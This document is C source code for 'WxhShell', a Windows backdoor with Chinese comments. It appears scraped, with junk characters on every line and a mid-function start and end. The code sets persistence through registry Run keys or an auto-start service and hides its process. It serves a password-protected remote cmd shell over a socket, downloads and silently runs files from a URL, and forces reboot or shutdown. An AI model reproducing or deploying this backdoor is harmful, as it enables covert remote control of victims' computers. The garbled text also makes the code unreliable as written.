    if(Boot(SHUTDOWN)) sA/pVU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H#@^R(  
    else { h^?\xm|  
    closesocket(wsh); [f)cL6AeF  
    ExitThread(0); *194{ ep  
    } K&bzDzd`  
    break; (mgS"zPS  
    } DAS/43\  
  // 获取shell C3eR)Yh  
  case 's': { Xa CX!Lr,  
    CmdShell(wsh); W=vG$  
    closesocket(wsh); :ZTc7 }  
    ExitThread(0); ~R_ztD+C(  
    break; 0TCBQ~"  
  } )T';qm0w  
  // 退出 cVubb}ou  
  case 'x': { aEM%R<e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iJ~Zkd  
    CloseIt(wsh); Z9MdD>uwi  
    break; /s?r`'j[  
    } .Si,dc\  
  // 离开 #N#'5w-G  
  case 'q': { PUF/#ck  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f47Od-\-  
    closesocket(wsh); !_`&Wks  
    WSACleanup(); ]e^c=O`$  
    exit(1); xgpi-l  
    break; l ;JA8o\x  
        } }!;s.[y  
  } b?TO=~k,  
  } X*&[u7No  
)=5ng-  
  // 提示信息 LO <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K<pV  
} LJ*q1 ;<E  
  } VTG9$rQZ  
"]z-: \ V  
  return; Q7R~{5r>W  
} zN!ZyI$nqP  
FO!]P   
// shell模块句柄 & @s!<9$W  
int CmdShell(SOCKET sock) ?*E'^~,H)  
{ ]<H&+ &!  
STARTUPINFO si; y9_K, g  
ZeroMemory(&si,sizeof(si)); ? %`@ub$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hvA^n@nr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -sw  .  
PROCESS_INFORMATION ProcessInfo; ANJ$'3tg  
char cmdline[]="cmd"; Ys@}3\Mc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u#Z#)3P  
  return 0; --HF8_8;'  
} >c9a0A  
NbC@z9Q  
// 自身启动模式 @r#v[I  
int StartFromService(void) !|O~$2O@  
{ 1jN-4&  
typedef struct iTag+G4*  
{ "NgxkbDEbG  
  DWORD ExitStatus; 2'_:S@  
  DWORD PebBaseAddress; enp)-nS0  
  DWORD AffinityMask; s}jHl8  
  DWORD BasePriority; r41\r,`Dj  
  ULONG UniqueProcessId; dgA-MQ5{  
  ULONG InheritedFromUniqueProcessId; `FYv3w2  
}   PROCESS_BASIC_INFORMATION; } p&&_?  
%kB8'a3  
PROCNTQSIP NtQueryInformationProcess; 87=^J xy  
_Y8hb!#(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q\cjPc0y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EmODBTu+  
xKQ+{"?-^g  
  HANDLE             hProcess; c0hwc1kv-  
  PROCESS_BASIC_INFORMATION pbi; @6mBqcE'?  
iMs5zf <M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N 5i+3&  
  if(NULL == hInst ) return 0; M@?xa/E64  
\T <$9aNb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]3g?hM6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'ow.=1N-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tQ H+)*  
s VJ!FC  
  if (!NtQueryInformationProcess) return 0; G3rj`Sg^c  
*cC_j*1@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d1U\ft:gV  
  if(!hProcess) return 0; 7vABq(  
GKoK7qH\J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E;1Jh(58)b  
LxpuhvIO  
  CloseHandle(hProcess);  >lBD<;T  
mExVYp h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'k4E4OB  
if(hProcess==NULL) return 0; RB+N IoQQ|  
YhY:~  
HMODULE hMod; O9g{+e`  
char procName[255]; ~M\I;8ne  
unsigned long cbNeeded; Ay !G1;  
$6CwkM:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LrAT Sq@  
C&6IU8l\  
  CloseHandle(hProcess);  +QE^\a  
<x&%~6j  
if(strstr(procName,"services")) return 1; // 以服务启动 zkO<-w  
SF5@Vg  
  return 0; // 注册表启动 JB>b`W9   
} KID,|K  
6<$Odd  
// 主模块 8 O67  
int StartWxhshell(LPSTR lpCmdLine) cKn`/\.H  
{ jaa"~5TO8  
  SOCKET wsl; kWNV%RlSx  
BOOL val=TRUE; '&sE=.  
  int port=0; YSj+\Z$(  
  struct sockaddr_in door; aM{xdTYaU  
gq"gUaz  
  if(wscfg.ws_autoins) Install(); M4d47<'*~  
ixV0|P8,c  
port=atoi(lpCmdLine); 4[BG#  
~j-cS J3  
if(port<=0) port=wscfg.ws_port; J@OB`2?Zv  
zLF?P3^  
  WSADATA data; Q6XRsFc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o}<4*qlI  
AQc,>{Lm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nx-uQ^e*1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t w(JZDc  
  door.sin_family = AF_INET; Uz7^1.-g4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )LdyC`S\c  
  door.sin_port = htons(port); fd#j Y}  
'}rRzD:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nN~~cV  
closesocket(wsl); N |1>ooU[  
return 1; rLU/W<F8  
} 0x9x@gF  
2QNNp:`6  
  if(listen(wsl,2) == INVALID_SOCKET) { I"1;|`L~:  
closesocket(wsl); h1(j2S`:  
return 1; k64."*X  
} 5o/&T"]@  
  Wxhshell(wsl); &*s0\ 8  
  WSACleanup(); Lgz$]Jbl8  
z`Hy'{1  
return 0; ex<O]kPFE  
&h~Xq^  
} Pub0IIs  
Q.Aw2  
// 以NT服务方式启动 0oh]61g C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lKkN_ (/j  
{ }@+NN ?P  
DWORD   status = 0; 1.D-FPK  
  DWORD   specificError = 0xfffffff; 4G@nZn  
l_j4DQBRV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KIeT!kmDl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7?v#'Ie s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xBFJ} v  
  serviceStatus.dwWin32ExitCode     = 0; W[[bV  
  serviceStatus.dwServiceSpecificExitCode = 0; " v}pdUW  
  serviceStatus.dwCheckPoint       = 0; !m(4F(!"h  
  serviceStatus.dwWaitHint       = 0; lc6i KFyG  
9]'($:LF08  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x"4} isp<  
  if (hServiceStatusHandle==0) return; ?%O3Oi Xz  
`mH %!{P  
status = GetLastError(); rtQHWRUn  
  if (status!=NO_ERROR) @=5qT]%U3J  
{ B$KwkhMe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N 4K8 u'f^  
    serviceStatus.dwCheckPoint       = 0; "7d-z<^n  
    serviceStatus.dwWaitHint       = 0; *[eL~oN.c  
    serviceStatus.dwWin32ExitCode     = status; !TAp+b  
    serviceStatus.dwServiceSpecificExitCode = specificError; GFk1/ F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L5IbExjV  
    return; ^O^:$nXhYy  
  } >%Ee#m  
._z 'g_c(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L?Yoh<  
  serviceStatus.dwCheckPoint       = 0; o$.e^XL  
  serviceStatus.dwWaitHint       = 0; (x;g/!:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 02AI%OOH  
} ~9Cz6yF  
m+$ @'TbP  
// 处理NT服务事件,比如:启动、停止 ?v}Bd!'+P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %ICglF R  
{ MVv1.6c7Y  
switch(fdwControl) c:M$m3Cs?  
{ $t rAC@3O@  
case SERVICE_CONTROL_STOP: Wx)K* 9  
  serviceStatus.dwWin32ExitCode = 0; io4A>>W==/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >n.z)ZJ  
  serviceStatus.dwCheckPoint   = 0; &ogt2<1W  
  serviceStatus.dwWaitHint     = 0; TB aVW  
  { BRG|Asg(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1D([@)^  
  } E^ h=!RW{  
  return; 6er(%4!  
case SERVICE_CONTROL_PAUSE: 7_KhV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~KIDv;HSb[  
  break; &$fbP5uAZ  
case SERVICE_CONTROL_CONTINUE: Sj 3oV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,35&G"JK5  
  break; \94jrr  
case SERVICE_CONTROL_INTERROGATE: &w~Xa( uu  
  break; q{4|Kpx@  
}; ~0tdfK0c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W5DbFSgB  
} U :9=3A2$x  
Re:T9K'e  
// 标准应用程序主函数 &&RA4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0my9l;X   
{ Y\t_&px  
~5#)N{GbY  
// 获取操作系统版本 qJs[i>P[W  
OsIsNt=GetOsVer(); %JoxYy-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L=1 ~ f-  
8cr NOZS6  
  // 从命令行安装 Z^6#4Q]YC  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3B18dv,V  
}ymvC  
  // 下载执行文件 J1 tDO?  
if(wscfg.ws_downexe) { ,?b78_,2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @!H '+c  
  WinExec(wscfg.ws_filenam,SW_HIDE); wL eHQ]  
} ~Yl$I,  
[yd6gH  
if(!OsIsNt) { hLA;Bl  
// 如果时win9x,隐藏进程并且设置为注册表启动 {rGYRn,  
HideProc(); X ]s"5ju|t  
StartWxhshell(lpCmdLine); zO2{.4  
} ep?:;98|t  
else ,olwwv_8G  
  if(StartFromService()) fA XE~  
  // 以服务方式启动 m "]!I~jd  
  StartServiceCtrlDispatcher(DispatchTable); ER<eX4oU  
else .Vh*Z<9S4  
  // 普通方式启动 0eA5zFU7  
  StartWxhshell(lpCmdLine); GVObz?Z]SB  
f'_ S1\  
return 0; FE6C6dW{  
} Y +qus  
Ao*FcrXN  
SKx e3  
Y(z }[`2  
=========================================== %c0z)R~  
8nu> gA  
(HSw%e  
LhKY}R  
+E#PJ_H=F8  
V85.DK!  
" '?k' 6R$'\  
>nNl^ yqW  
#include <stdio.h> |KaR n;BM  
#include <string.h> 6 5"uD7;  
#include <windows.h> }z{wQ\  
#include <winsock2.h> +/Z0  
#include <winsvc.h> GWh|FEqUbf  
#include <urlmon.h> M\jB)@)  
MBv/  
#pragma comment (lib, "Ws2_32.lib") ~._ko  
#pragma comment (lib, "urlmon.lib") r4S=I   
M/)B" q  
#define MAX_USER   100 // 最大客户端连接数 UhA_1A'B  
#define BUF_SOCK   200 // sock buffer 3 9yz~  
#define KEY_BUFF   255 // 输入 buffer #rq?f  
X=#It&m%s  
#define REBOOT     0   // 重启  L,%Z9  
#define SHUTDOWN   1   // 关机 /[L)tj7B  
F%y{% C7l  
#define DEF_PORT   5000 // 监听端口 tKX}Ok:V%  
#O><A&FrF`  
#define REG_LEN     16   // 注册表键长度 %U:C|  
#define SVC_LEN     80   // NT服务名长度 E6JV}`hSk  
[DL|Ht>  
// 从dll定义API Bj+wayMi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $BaK'7=3*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p*!q}%U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _Z0\`kba+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :=Nb=&lst  
0ovZ&l  
// wxhshell配置信息 oM2|]ew)  
struct WSCFG { BZ}`4W'  
  int ws_port;         // 监听端口 =_uol8v  
  char ws_passstr[REG_LEN]; // 口令 %L28$c3p  
  int ws_autoins;       // 安装标记, 1=yes 0=no +!G4tA$g  
  char ws_regname[REG_LEN]; // 注册表键名 Qz# 3p3N?  
  char ws_svcname[REG_LEN]; // 服务名 V3 qT<}y|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !4_!J (q%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m_(E(_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i5Eeg`NMl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T4vogoy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8KZ$ F>T]>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H a90  
|iAEDZn  
}; J/L)3y   
7Onk!NH  
// default Wxhshell configuration &bn*p.=G  
struct WSCFG wscfg={DEF_PORT, sN;(/O  
    "xuhuanlingzhe", nhp)yW  
    1, hJ<:-u+yk}  
    "Wxhshell", " S ?Km  
    "Wxhshell", +BU0 6lLD  
            "WxhShell Service", LPb]mC6#  
    "Wrsky Windows CmdShell Service", rA[nUJ,  
    "Please Input Your Password: ", MPqY?KF  
  1, )_X;9%L7  
  "http://www.wrsky.com/wxhshell.exe", H&w(]PDh  
  "Wxhshell.exe" Q3(hK<Qh;  
    }; tP&{ J^G  
r$94J'_  
// 消息定义模块 P>.Y)$`r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mi*:S%;h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GOUY_&}tL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o-L|"3 P  
char *msg_ws_ext="\n\rExit."; IvPA|8(  
char *msg_ws_end="\n\rQuit."; oZ?IR#^  
char *msg_ws_boot="\n\rReboot..."; f S(^["*G  
char *msg_ws_poff="\n\rShutdown..."; e|S+G6 :O2  
char *msg_ws_down="\n\rSave to "; ,oC= {^l{  
pHq{S;R2G  
char *msg_ws_err="\n\rErr!"; ~3LhcU-  
char *msg_ws_ok="\n\rOK!"; ?psOj%  
wa9'2a1?  
char ExeFile[MAX_PATH]; B.h0" vJ  
int nUser = 0; .;]YJy  
HANDLE handles[MAX_USER]; \Mobq  
int OsIsNt; #-l!`\@  
AaJ,=eQ  
SERVICE_STATUS       serviceStatus; 46QYXmNQ}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8:;u v7p  
!~6'@UYo  
// 函数声明 8 /:X& &  
int Install(void); l:>qR/|m  
int Uninstall(void); < P?3GT/  
int DownloadFile(char *sURL, SOCKET wsh); yt]Oj*nn0K  
int Boot(int flag); YzforM^F  
void HideProc(void); l4R<`b\Jt  
int GetOsVer(void); @vVRF Z  
int Wxhshell(SOCKET wsl); HYa$EE2  
void TalkWithClient(void *cs); m-~V+JU;x  
int CmdShell(SOCKET sock); TWl(\<&+)  
int StartFromService(void); gPA>*;?E;@  
int StartWxhshell(LPSTR lpCmdLine); !W+p<F1i  
i-K"9z| )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -(%ar%~Zd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vTe$77n  
RE(=! 8lGR  
// 数据结构和表定义 %_%f# S  
SERVICE_TABLE_ENTRY DispatchTable[] = ZC9.R$}Kl  
{ l,^i5t'  
{wscfg.ws_svcname, NTServiceMain}, A*-]J=:E {  
{NULL, NULL} C7XS6Nqu  
}; 3. K{T  
#w%a m`+  
// 自我安装 zx_O"0{5  
int Install(void) Nv*E .|G  
{ ?-RoqF  
  char svExeFile[MAX_PATH]; Mo?t[]L   
  HKEY key; E9Qd>o  
  strcpy(svExeFile,ExeFile); jx5[bUp4u  
rhzv^t  
// 如果是win9x系统,修改注册表设为自启动 ~_# Y,)S!z  
if(!OsIsNt) { pJ)+}vascR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |R &3/bEr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f2SU5e2  
  RegCloseKey(key); u]>>B>KOJ7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mv9E{m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$\;voo  
  RegCloseKey(key); a2 klOX{  
  return 0; #<PA- y  
    } ]L%R[Z!3  
  } q|]0on~ ]  
} SceCucT  
else { yBD2  
44fq1<.K  
// 如果是NT以上系统,安装为系统服务 Kt!IyIa;Ht  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kUaGok?  
if (schSCManager!=0) ~y-vKCp|  
{ _w5~/PbWt  
  SC_HANDLE schService = CreateService P9tQS"Rs  
  ( dbq{a  
  schSCManager, M_e$l`"G  
  wscfg.ws_svcname, *|,ykb>  
  wscfg.ws_svcdisp, x[O#(^q  
  SERVICE_ALL_ACCESS, (Q+:N;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k vgs $  
  SERVICE_AUTO_START, :C:N]6_{SZ  
  SERVICE_ERROR_NORMAL, TXh@  
  svExeFile, _AFt6\  
  NULL, ]htZ!; 8J  
  NULL, 3}#XA+Z  
  NULL, N>nvt.`P  
  NULL, p,AD!~n`  
  NULL :kiO  
  ); )`+@j.75  
  if (schService!=0) 1-NX>E5  
  { I\uB"Z{9  
  CloseServiceHandle(schService); 4(0t GF  
  CloseServiceHandle(schSCManager); C"Y]W-Mgg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $Z%aGc*  
  strcat(svExeFile,wscfg.ws_svcname); [ls ?IFg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >pH775I=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L5k>;|SA  
  RegCloseKey(key); ^3)2]>pW  
  return 0; G>ptwB81KM  
    } 97))'gC  
  } |Q)w3\S$  
  CloseServiceHandle(schSCManager); n\"LN3  
} ,fG_'3wb  
} `w=H'"Zv  
`Ig2f$}  
return 1; 3 cW"VrFy9  
} b;{"lJ:+Z  
;7n*PBUJJ  
// 自我卸载 j]l}K*8(  
int Uninstall(void) -J7,Nw  
{ 7f Tg97eF  
  HKEY key; pOI`,i}.  
|m 5;M$M)  
if(!OsIsNt) { n `T[eb~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U:4Og8  
  RegDeleteValue(key,wscfg.ws_regname); i`nw"8  
  RegCloseKey(key); '-]BSU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m3xj5]#^$  
  RegDeleteValue(key,wscfg.ws_regname); AW&s-b%P  
  RegCloseKey(key); &|\}\+0Z  
  return 0; ^21f^>k(  
  } 7C?mD75j  
} $~@096`QL<  
} ApJf4D<V  
else { p>tdJjnt  
s&`XK$p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MVv^KezD  
if (schSCManager!=0) W>wi;Gf#  
{ DD$P r&~=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^?]H$e  
  if (schService!=0) S=amjcC  
  { A}Dpw[Q2@8  
  if(DeleteService(schService)!=0) { N b[o6AX  
  CloseServiceHandle(schService); 'CO[s.03  
  CloseServiceHandle(schSCManager); @d^h/w  
  return 0; GXlg%  
  } jh&vq=P H  
  CloseServiceHandle(schService); [_hhC  
  } D=sc41]  
  CloseServiceHandle(schSCManager); "EhO )lR  
} Jv.R?1;8i  
} +mOtYf W  
T>%ny\?tHW  
return 1; A":b_!sW  
} *`.{K12T  
Lbp6I0&n  
// 从指定url下载文件 $cU/Im`  
int DownloadFile(char *sURL, SOCKET wsh) {1DYXKe  
{ kD7(}N8YR  
  HRESULT hr; y+afUJT  
char seps[]= "/"; &*GX:0=/>  
char *token; +M&S  
char *file; nnl9I4-O  
char myURL[MAX_PATH]; R0<Vd"  
char myFILE[MAX_PATH]; 2B dr#qr  
HWOH8q{f!  
strcpy(myURL,sURL); '\\Cpc_g  
  token=strtok(myURL,seps); m9c T}x&j  
  while(token!=NULL) #de^~  
  { wx5*!^&j  
    file=token; qDd/wR,44  
  token=strtok(NULL,seps); : X|7l?{xW  
  } {=7i}xY]T  
?+=|{{l  
GetCurrentDirectory(MAX_PATH,myFILE); A'(F%0NF6  
strcat(myFILE, "\\"); >v,j;[(  
strcat(myFILE, file); T["(YFCByg  
  send(wsh,myFILE,strlen(myFILE),0); fEv36xb2S  
send(wsh,"...",3,0); :ygz/L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nW'x#0-  
  if(hr==S_OK) _u2  
return 0; S]/ +n>  
else D07u?  
return 1; *S_Iza #&x  
y<d#sv(s  
} gj X1b2  
<t37DnCgI  
// 系统电源模块 n$l]+[>  
int Boot(int flag) 0Jh:6F  
{ ~U+'3.Wo  
  HANDLE hToken; 0|;=mYa4M  
  TOKEN_PRIVILEGES tkp; rNyK*Wjt  
MV \zwH  
  if(OsIsNt) { TL gVuY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p n>`v   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q Db}b d5  
    tkp.PrivilegeCount = 1; !;Nh7vG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tj9q(Vq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _I4sy=tYXK  
if(flag==REBOOT) { c iX2G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J[wXG6M  
  return 0; q8>Q,F`BA  
} Q4q#/z  
else { !F)oX7"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _s8_i6 Y  
  return 0; pASVnXJZ  
} _y UFe&  
  } ^&HYnwk  
  else { cC.DBYV+-  
if(flag==REBOOT) { f lB2gr^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9l]IE,u  
  return 0;  <@u6*]  
} ^dv>n]?  
else { VIzZmd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :^a$ve3(Jq  
  return 0; q =6 Y2Q  
} `l#g`~L  
} W:\VFP f2  
"#jKk6{I0  
return 1; ez{&Y>n  
} =P{RHhWy;  
6-"&jbvm  
// win9x进程隐藏模块 NO ^(D+9  
void HideProc(void) 6EY4@0%A  
{ ~55>uw<  
0 i"OG( ,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \`C3;}o:"P  
  if ( hKernel != NULL ) g 7X>i:  
  { UlrY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ] ?(=rm9u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zdCt#=QV?R  
    FreeLibrary(hKernel); B|v fkX2f  
  } 7Y/_/t~Y  
h%%'{^>~  
return; uypD`%pC  
} o;fQ,r P%  
q9Q4F  
// 获取操作系统版本 s/V[tEC*z  
int GetOsVer(void) dkjL;1  
{ JFfx9%Fq  
  OSVERSIONINFO winfo; k:sh:G+=$d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v|6fqG+Q\  
  GetVersionEx(&winfo); bPNsy@"6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2 E^P=jU`  
  return 1; #u_-TWVt  
  else 'PZJ{8=  
  return 0; $3>|R lxYA  
} eIJQ|p<v  
rgr> ;   
// 客户端句柄模块 o&=m]hKpQl  
int Wxhshell(SOCKET wsl) 5s;#C/ZZ  
{ EOL03N   
  SOCKET wsh; n):VuOjm  
  struct sockaddr_in client; 5gGr|d|(  
  DWORD myID; %llG/]q#  
\gdd  
  while(nUser<MAX_USER) %Xn)$Ti ~<  
{ ||qW'kNWM  
  int nSize=sizeof(client); Ks4TBi&J   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !T}`h'  
  if(wsh==INVALID_SOCKET) return 1; rie1F,  
<iMLM<J<w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~34$D],D  
if(handles[nUser]==0) ^-DK<jZ^  
  closesocket(wsh); Z EW`?6  
else uaiG (O   
  nUser++; dpy,;nqzeN  
  } _QQO&0Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); il: ""x7^y  
IySlu^a  
  return 0; 1*XqwBV  
} d%WFgf}  
bcQ$S;U)  
// 关闭 socket dG1qrh9_-  
void CloseIt(SOCKET wsh) O?P6rXKr  
{ [=Xvp z  
closesocket(wsh); <3i!{"}  
nUser--; -50|r;a  
ExitThread(0); wDn5|F}i&  
} /gxwp:&lY  
x,n;GR  
// 客户端请求句柄 ur;8uv2o  
void TalkWithClient(void *cs) T7[ItLZ  
{ @hk~8y]rz  
~GZ(Ou-&  
  SOCKET wsh=(SOCKET)cs; j &~OR6  
  char pwd[SVC_LEN]; %N2=:;f  
  char cmd[KEY_BUFF]; h 9No'!'!  
char chr[1]; < d?O#(  
int i,j; U`xjau+  
 0N md*r  
  while (nUser < MAX_USER) { b?y3m +V`  
NI3_wV  
if(wscfg.ws_passstr) { <J\z6+,4E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =^NR(:SaaU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [^#6.xH  
  //ZeroMemory(pwd,KEY_BUFF); h&&ufF]D  
      i=0; ?,]25q   
  while(i<SVC_LEN) { (Ori].{C.J  
k5(@n>p  
  // 设置超时 k\A8Z[  
  fd_set FdRead; "+p_{J/P  
  struct timeval TimeOut;  t;{/Q&C  
  FD_ZERO(&FdRead); >a[)F  
  FD_SET(wsh,&FdRead); NeQ/#[~g  
  TimeOut.tv_sec=8; K%.\@l2Cp  
  TimeOut.tv_usec=0; u[})|x*N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bP(xMw<'j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8ex{N3  
}!x\qpA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ng2qu!F7  
  pwd=chr[0]; V|)3l7IC<  
  if(chr[0]==0xd || chr[0]==0xa) { Ab/gY$l  
  pwd=0; ckS.j)@.c  
  break; DR;rK[f  
  } ,,OO2EgZ`  
  i++; hvkLcpE  
    } Ru `&>E  
WL:CBE#  
  // 如果是非法用户,关闭 socket ^fa+3`>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x=(Q$Hl5  
} :2vk vLM  
8HDYA$L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B/6wp^#VX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q,(U8  
?#da4W  
while(1) { >+ul LQqe  
PRg^E4  
  ZeroMemory(cmd,KEY_BUFF); (R5n ND  
u_shC"X:  
      // 自动支持客户端 telnet标准   @9Rg g9r  
  j=0; yY+)IU.  
  while(j<KEY_BUFF) { .SzP ig  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5)bf$?d   
  cmd[j]=chr[0]; yhxen  
  if(chr[0]==0xa || chr[0]==0xd) { FxeDjAP  
  cmd[j]=0; >]s\%GO  
  break; }86&? 0j.  
  } E{'{fo!#)  
  j++; Er509zZ,[  
    } dY[ XNP  
 3 c #oK  
  // 下载文件 oe$&X&  
  if(strstr(cmd,"http://")) { n@>h"(@i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }ya@*jH  
  if(DownloadFile(cmd,wsh)) .LMOmc=(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }81eef4$S  
  else P5-1z&9O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JWQd/  
  } NX.%Rj*  
  else { f"i(+:la  
NEp )V'  
